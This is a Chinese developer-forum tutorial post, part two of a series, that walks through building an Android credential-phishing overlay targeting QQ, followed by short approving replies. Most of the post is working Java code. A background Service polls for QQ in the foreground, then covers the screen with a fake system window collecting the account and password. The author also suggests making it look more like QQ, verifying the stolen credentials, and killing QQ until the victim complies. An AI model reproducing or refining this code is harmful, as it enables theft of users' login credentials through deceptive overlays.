黑马程序员技术交流社区

标题: Android WindowManager解析与骗取QQ密码案例(二) [打印本页]

作者: Android_Robot    时间: 2016-8-26 11:22
标题: Android WindowManager解析与骗取QQ密码案例(二)
涨薪机密——潮流新技术、新框架资源以后不定期更新,
   
Android WindowManager解析与骗取QQ密码案例(二)

二、骗取QQ密码实例
  有了上面的基础之后,这个例子其实就非常简单了。
  第一步编写一个Service并且在Service中弹出一个自定义的Window:
[AppleScript] 纯文本查看 复制代码
windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;

LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
    @Override
    public void backCallback() {
        if (v!=null && v.isAttachedToWindow())
            L.e("remove view ");
            windowManager.removeViewImmediate(v);
    }
});

btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
    @Override
    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
        if (isChecked) {
            et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
        } else {
            et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
        }
        et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
                0 : et_pwd.getText().length());
    }
});

//useless
//        v.setOnKeyListener(new View.OnKeyListener() {
//            @Override
//            public boolean onKey(View v, int keyCode, KeyEvent event) {
//                Log.e("zhao", keyCode+"");
//                if (keyCode == KeyEvent.KEYCODE_BACK) {
//                    windowManager.removeViewImmediate(v);
//                    return true;
//                }
//                return false;
//            }
//        });


//点击外部消失
v.setOnTouchListener(new View.OnTouchListener() {
    @Override
    public boolean onTouch(View view, MotionEvent event) {
        Rect temp = new Rect();
        view.getGlobalVisibleRect(temp);
        L.e("remove view ");
        if (temp.contains((int)(event.getX()), (int)(event.getY()))){
            windowManager.removeViewImmediate(v);
            return true;
        }
        return false;
    }
});

btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);
这里有几点需要说明一下,
[AppleScript] 纯文本查看 复制代码
new Thread(new Runnable() {
    @Override
    public void run() {
        while (isRunning){
            L.e("running");
            try {
                Thread.sleep(3000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            if (isAppForground("com.tencent.mobileqq")){
                myHandler.sendEmptyMessage(1);
            }
        }
    }
}).start();

 获取顶部应用适配方法
[AppleScript] 纯文本查看 复制代码
private boolean isAppForeground(String appName){
    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
        return appName.equals(getTopActivityBeforeL());
    }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
        return appName.equals(getTopActivityAfterLM());
    }else{
        return appName.equals(getTopActivityBeforeLMAfterL());
    }
}

//5.0之前可以使用getRunningAppProcesses()函数获取
private String getTopActivityBeforeL(){
    ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
    return taskInfo.get(0).processName;
}

//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之后使用
private String getTopActivityBeforeLMAfterL() {
    final int PROCESS_STATE_TOP = 2;
    Field field = null;
    ActivityManager.RunningAppProcessInfo currentInfo = null;
    try {
        field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
    } catch (Exception ignored) {
    }
    ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
    final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
    for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
        if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
                && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
            Integer state = null;
            try {
                state = field.getInt(processInfo);
            } catch (Exception e) {
            }
            if (state != null && state == PROCESS_STATE_TOP) {
                currentInfo = processInfo;
                break;
            }
        }
    }
    return currentInfo!=null ? currentInfo.processName : null;
}

//注:6.0之后此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
//    private String getTopActivityAfterLM(){
//        ActivityManager.RunningAppProcessInfo topActivity =
//                ProcessManager.getRunningAppProcessInfo(this).get(0);
//        return topActivity.processName;
//    }

@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
    try {
        UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
        long milliSecs = 60 * 1000;
        Date date = new Date();
        List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
        if (queryUsageStats.size() <= 0) {
            return null;
        }
        long recentTime = 0;
        String recentPkg = "";
        for (int i = 0; i < queryUsageStats.size(); i++) {
            UsageStats stats = queryUsageStats.get(i);
            if (stats.getLastTimeStamp() > recentTime) {
                recentTime = stats.getLastTimeStamp();
                recentPkg = stats.getPackageName();
            }
        }
        return recentPkg;
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}
PS:小米手机的ROM官方禁止了这些行为,不管是getRunningAppProcesses,getRunningTasks,和ProcessManager都只能返回自己和系统应用的列表,怎么搞?
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新,不光这样,在最新版本的小米ROM中,Manifest 文件中申请了
[AppleScript] 纯文本查看 复制代码
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
权限,使用WindowManager.LayoutParams.TYPE_SYSTEM_ERROR还是无法弹出window,小米ROM需要特殊处理一下,这个网上有很多资料,大家可以去了解一下。
  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:
   1. 修改UI,使之更加的和QQ风格相似。
  2. 用户输入完账号和密码之后,可以addView一个loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。
   3. 如果用户不输入账号和密码,直接调用killBackgrondProcess函数(需要权限),强硬的把QQ关闭,直到用户输入账号和密码。
  当然了,这只是学习知识而已,大家开心就好啊  ̄ˍ ̄。


其他精华资源推荐:
平均薪资近12K,Android续写“刷薪”记录!
Android WindowManager解析与骗取QQ密码案例(一)
[持续更新]2016最新Android视频教程+源码+技巧/经验+软件+面试
为什么黑马程序员能给你2W的月薪



作者: 邓显俊    时间: 2016-8-26 12:20
很有用的帖子,支持一下
作者: 细听风语为梧桐    时间: 2016-8-27 21:44
技术杠杠的,顶一个
作者: 黑马程序员_鹿峣    时间: 2016-8-29 16:30
虽然我看不太懂,感觉很厉害
作者: java234    时间: 2016-8-29 20:36
66666666666666666666666666666666666666666666666666666666666666666666666666666666
作者: zaoan    时间: 2016-8-30 20:01
顶一个 ,,,
作者: 许华洋    时间: 2016-8-31 21:37
顶!!!!!!!
作者: finally    时间: 2016-8-31 23:40
{:3_63:}好深奥的样子,快要看不懂了
作者: wxm278187618    时间: 2016-11-12 01:33
感谢楼主分享




欢迎光临 黑马程序员技术交流社区 (http://bbs.itheima.com/) 黑马程序员IT技术论坛 X3.2